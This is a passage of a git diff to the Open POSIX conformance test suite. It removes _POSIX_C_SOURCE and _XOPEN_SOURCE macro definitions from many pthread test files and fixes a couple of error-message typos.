index 5f075b2..f80111a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/1-1.c
@@ -10,7 +10,6 @@
  *   by the calling thread or undefined behavior results.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-1.c
index 8237051..bd49355 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-1.c
@@ -16,7 +16,6 @@
  *   be owned by the calling thread.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-2.c
index 4006a66..000b416 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-2.c
@@ -12,7 +12,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-3.c
index 050f5e4..bfdc4ee 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-3.c
@@ -12,7 +12,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-4.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-4.c
index 7e317d2..38b5807 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-4.c
@@ -33,14 +33,6 @@
  * -> The child checks that it owns the mutex; then it leaves.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes
-    and the mkstemp() routine */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 #include <pthread.h>
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-5.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-5.c
index 257689b..14b4c80 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-5.c
@@ -40,12 +40,6 @@
  *     mark b as true then broadcast c until all threads are terminated.
  */
 
-#define _POSIX_C_SOURCE 200112L
-
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 #include <pthread.h>
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-6.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-6.c
index 892dc54..cc18d90 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-6.c
@@ -27,14 +27,6 @@
  *   -> the cancelation handler will test if the thread owns the mutex.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 #include <pthread.h>
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-7.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-7.c
index 28c977e..17dadbd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-7.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/2-7.c
@@ -32,15 +32,6 @@
  * -> The child checks that it owns the mutex; then it leaves.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes
-    and the mkstemp() routine */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 #include <pthread.h>
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/3-1.c
index d03e399..cbbd530 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/3-1.c
@@ -9,7 +9,6 @@
  *   Upon successful completion, a value of zero shall be returned.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-1.c
index 6e0724e..cb02e7a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-1.c
@@ -10,7 +10,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-2.c
index 0b29ea0..1b9110d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-2.c
@@ -33,15 +33,6 @@
  *     -> unlocks the mutex m
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes
-    and the mkstemp() routine */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 #include <pthread.h>
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-3.c
index 25c033c..27d21b3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_timedwait/4-3.c
@@ -27,9 +27,6 @@
  *
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
 #include <pthread.h>
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/1-1.c
index 80d0d2c..83a73a5 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/1-1.c
@@ -10,7 +10,6 @@
  *   by the calling thread or undefined behavior results.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-1.c
index fbda967..dd5b300 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-1.c
@@ -10,7 +10,6 @@
  *   by the calling thread.
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-2.c
index 54775d3..a46f9a5 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-2.c
@@ -33,15 +33,7 @@
  * -> The child checks that it owns the mutex; then it leaves.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes
-    and the mkstemp() routine */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
- /********************************************************************************************/
+/********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-3.c
index 5987643..dc749ea 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/2-3.c
@@ -27,14 +27,7 @@
  *   -> the cancelation handler will test if the thread owns the mutex.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* We need the XSI extention for the mutex attributes */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
- /********************************************************************************************/
+/********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/4-1.c
index b97e35b..d66e340 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_wait/4-1.c
@@ -25,8 +25,6 @@
  *
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
  /********************************************************************************************/
 /****************************** standard includes *****************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-1.c
index 5c23cfd..adede97 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-1.c
@@ -15,7 +15,6 @@
  *
  */
 
-#define _XOPEN_SOURCE  600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-2.c
index d4c8806..0271e4a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_getclock/1-2.c
@@ -16,7 +16,6 @@
  *
  */
 
-#define _XOPEN_SOURCE  600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-1.c
index 12feff6..f1b7a5b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-1.c
@@ -16,7 +16,6 @@
  *
  */
 
-#define _XOPEN_SOURCE  600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-2.c
index a6e4d60..2d0d365 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-2.c
@@ -19,7 +19,6 @@
  *
  */
 
-#define _XOPEN_SOURCE  600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-3.c
index 3de0fe9..27efa29 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/1-3.c
@@ -18,7 +18,6 @@
  *
  */
 
-#define _XOPEN_SOURCE  600
 
 #include <pthread.h>
 #include <unistd.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/2-1.c
index 60ae3b3..814fd03 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_condattr_setclock/2-1.c
@@ -20,7 +20,6 @@
  *
  */
 
-#define _XOPEN_SOURCE  600
 
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-5.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-5.c
index f7f9c75..8f806eb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-5.c
@@ -34,13 +34,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-6.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-6.c
index 03c266a..fe151c8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/1-6.c
@@ -31,8 +31,6 @@
  *    lower priority does not finish until the high priority threads finished
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /* Must be included first */
 #include "affinity.h"
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/11-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/11-1.c
index c6e037f..e77b53e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/11-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/11-1.c
@@ -16,7 +16,6 @@
   * clock_gettime() since the thread has executed some time.
   */
 
-#define _XOPEN_SOURCE 600
 #include <unistd.h>
 #include <pthread.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c
index f1edc3f..95e0603 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c
@@ -22,14 +22,6 @@
  * -> check that EINTR is never returned
  */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
-/* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 #include <stdio.h>
 #include <errno.h>
 #include <pthread.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/15-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/15-1.c
index f650415..70bfc95 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/15-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/15-1.c
@@ -26,13 +26,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/2-1.c
index 4c4b63a..b5494fd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/2-1.c
@@ -40,7 +40,7 @@
 	 * it is joinable. */
 	ret = pthread_create(&new_th, NULL, a_thread_func, NULL);
 	if (ret) {
-		fprintf(stderr, "ptread_create(): %s\n", strerror(ret));
+		fprintf(stderr, "pthread_create(): %s\n", strerror(ret));
 		return PTS_UNRESOLVED;
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-2.c
index 8423511..ab97ff3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/3-2.c
@@ -39,13 +39,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-2.c
index 5fe2646..2cdbebb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/1-2.c
@@ -30,13 +30,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-2.c
index baad54d..5cc7131 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/2-2.c
@@ -28,13 +28,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c
index 5bf0de8..1c1e30c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c
@@ -24,13 +24,6 @@
  *
  */
 
-#define _POSIX_C_SOURCE 200112L
-
-/* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 #include <pthread.h>
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/2-1.c
index 1c6db5c..c1f0c61 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_equal/2-1.c
@@ -24,8 +24,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-2.c
index 88f6428..12b50f4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/1-2.c
@@ -30,14 +30,6 @@
 
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-2.c
index b15c07a..40899d4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/2-2.c
@@ -28,14 +28,6 @@
 
   */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-2.c
index d4ec1f4..2d9b91e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/3-2.c
@@ -29,14 +29,6 @@
 
   */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/4-1.c
index 481bff6..ecf3be5 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/4-1.c
@@ -28,14 +28,6 @@
 
   */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/5-1.c
index e9e5b01..b66109a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/5-1.c
@@ -27,14 +27,6 @@
 
   */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-1.c
index dcc65fe..3881f49 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-1.c
@@ -31,14 +31,6 @@
  *       -> the atexit() routines have been called.
   */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-2.c
index 9b1bc6d..858881f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_exit/6-2.c
@@ -25,14 +25,6 @@
  * -> if the function returns, the test fails.
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
-
- /* Some routines are part of the XSI Extensions */
-#ifndef WITHOUT_XOPEN
-#define _XOPEN_SOURCE	600
-#endif
-
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
 /********************************************************************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-2.c
index b95b4eb..34c4109 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/1-2.c
@@ -27,7 +27,6 @@
 *
 */
 
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/4-1.c
index 8f95376..a827f5b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/4-1.c
@@ -27,8 +27,6 @@
 * The test fails if the main thread is unable to join the 1st thread.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-3.c
index daac11e..86922c3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_join/6-3.c
@@ -23,7 +23,6 @@
 * -> check that EINTR is never returned
 */
 
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-1.c
index dfddaa1..40c2f87 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-1.c
@@ -103,7 +103,7 @@
 		printf("Test FAILED: Kill request timed out\n");
 		return PTS_FAIL;
 	} else if (handler_called == 0) {
-		printf("Test FAILED: Thread did not recieve or handle\n");
+		printf("Test FAILED: Thread did not received or handle\n");
 		return PTS_FAIL;
 	}
 
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-2.c
index bc359c4..27fc3d7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/1-2.c
@@ -29,8 +29,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/8-1.c
index 7bcf502..1be6722 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_kill/8-1.c
@@ -24,8 +24,6 @@
 
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /********************************************************************************************/
 /****************************** standard includes *****************************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/2-2.c
index f39d77b..d3a2651 100644
